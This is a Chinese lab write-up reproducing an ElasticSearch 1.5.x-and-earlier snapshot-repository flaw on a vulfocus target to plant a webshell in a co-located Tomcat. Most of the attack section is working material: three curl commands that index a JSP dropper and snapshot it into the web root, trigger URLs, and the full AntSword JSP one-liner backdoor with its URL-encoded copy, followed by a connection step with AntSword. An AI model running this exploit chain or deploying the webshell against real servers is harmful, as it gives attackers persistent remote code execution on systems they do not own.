1.原理
ElasticSearch具有备份数据的功能,用户可以传入一个路径,让其将数据备份到该路径下,且文件名和后缀都可控。
所以,如果同文件系统下还跑着其他服务,如Tomcat、PHP等,我们可以利用ElasticSearch的备份功能写入一个webshell。
和CVE-2015-5531类似,该漏洞和备份仓库有关。
在elasticsearch1.5.1以后,其将备份仓库的根路径限制在配置文件的配置项path.repo中,而且如果管理员不配置该选项,则默认不能使用该功能。即使管理员配置了该选项,web路径如果不在该目录下,也无法写入webshell。
Elasticsearch写入webshell到中间件的目录下->tomcat网页访问该后门->post后门或者软件连接后门
**影响**:ElasticSearch版本1.5.x以前
2.复现过程
由于vulfocus的靶场一般只开25分钟,所以按照我的速度我重新开了三遍,每次端口都不一样
打开靶机,9200是Elasticsearch,8080是tomcat
2.1 写入webshell
第一步
curl -XPOST http://数据库的对应网址/yz.jsp/yz.jsp/1 -d'{"<%new java.io.RandomAccessFile(application.getRealPath(new String(new byte[]{47,116,101,115,116,46,106,115,112})),new String(new byte[]{114,119})).write(request.getParameter(new String(new byte[]{102})).getBytes());%>":"test"}第二步curl -XPUT 'http://数据库的对应网址/_snapshot/yz.jsp' -d '{"type": "fs","settings": {"location": "/usr/local/tomcat/webapps/wwwroot/","compress": false}}'第三步curl -XPUT "http://数据库的对应网址/_snapshot/yz.jsp/yz.jsp" -d '{"indices": "yz.jsp","ignore_unavailable": "true","include_global_state": false}'
如果没写入的话他这个是这样的
把curl执行完成访问我们刚刚写入的jsp文件,和提交f变量用于写入test文件,访问8080端口的对应目录文件
http://target/wwwroot/indices/yz.jsp/snapshot-yz.jsp?f=12345
http://target/wwwroot/test.jsp
2.2 写入蚁剑木马获取flag
后面需要用jsp写一句话木马,然后
参考:蚁剑jsp一句话木马-CSDN博客
<%!class U extends ClassLoader {U(ClassLoader c) {super(c);}public Class g(byte[] b) {return super.defineClass(b, 0, b.length);}}public byte[] base64Decode(String str) throws Exception {try {Class clazz = Class.forName("sun.misc.BASE64Decoder");return (byte[]) clazz.getMethod("decodeBuffer", String.class).invoke(clazz.newInstance(), str);} catch (Exception e) {Class clazz = Class.forName("java.util.Base64");Object decoder = clazz.getMethod("getDecoder").invoke(null);return (byte[]) decoder.getClass().getMethod("decode", String.class).invoke(decoder, str);}}
%>
<%String cls = request.getParameter("passwd");if (cls != null) {new U(this.getClass().getClassLoader()).g(base64Decode(cls)).newInstance().equals(pageContext);}
%>
转成url编码:
%0A%3C%25%21%0A%20%20%20%20class%20U%20extends%20ClassLoader%20%7B%0A%20%20%20%20%20%20%20%20U%28ClassLoader%20c%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20super%28c%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%20%20%20%20public%20Class%20g%28byte%5B%5D%20b%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20super.defineClass%28b%2C%200%2C%20b.length%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%20%0A%20%20%20%20public%20byte%5B%5D%20base64Decode%28String%20str%29%20throws%20Exception%20%7B%0A%20%20%20%20%20%20%20%20try%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20Class%20clazz%20%3D%20Class.forName%28%22sun.misc.BASE64Decoder%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%28byte%5B%5D%29%20clazz.getMethod%28%22decodeBuffer%22%2C%20String.class%29.invoke%28clazz.newInstance%28%29%2C%20str%29%3B%0A%20%20%20%20%20%20%20%20%7D%20catch%20%28Exception%20e%29%20%7B%0A%20%20%20%20%20%20%20%20%20%20%20%20Class%20clazz%20%3D%20Class.forName%28%22java.util.Base64%22%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20Object%20decoder%20%3D%20clazz.getMethod%28%22getDecoder%22%29.invoke%28null%29%3B%0A%20%20%20%20%20%20%20%20%20%20%20%20return%20%28byte%5B%5D%29%20decoder.getClass%28%29.getMethod%28%22decode%22%2C%20String.class%29.invoke%28decoder%2C%20str%29%3B%0A%20%20%20%20%20%20%20%20%7D%0A%20%20%20%20%7D%0A%25%3E%0A%3C%25%0A%20%20%20%20String%20cls%20%3D%20request.getParameter%28%22passwd%22%29%3B%0A%20%20%20%20if%20%28cls%20%21%3D%20null%29%20%7B%0A%20%20%20%20%20%20%20%20new%20U%28this.getClass%28%29.getClassLoader%28%29%29.g%28base64Decode%28cls%29%29.newInstance%28%29.equals%28pageContext%29%3B%0A%20%20%20%20%7D%0A%25%3E
发现这个test页面空白了,尝试蚁剑连接
当然也可以用其他的软件去连接,我看到网上有用哥斯拉的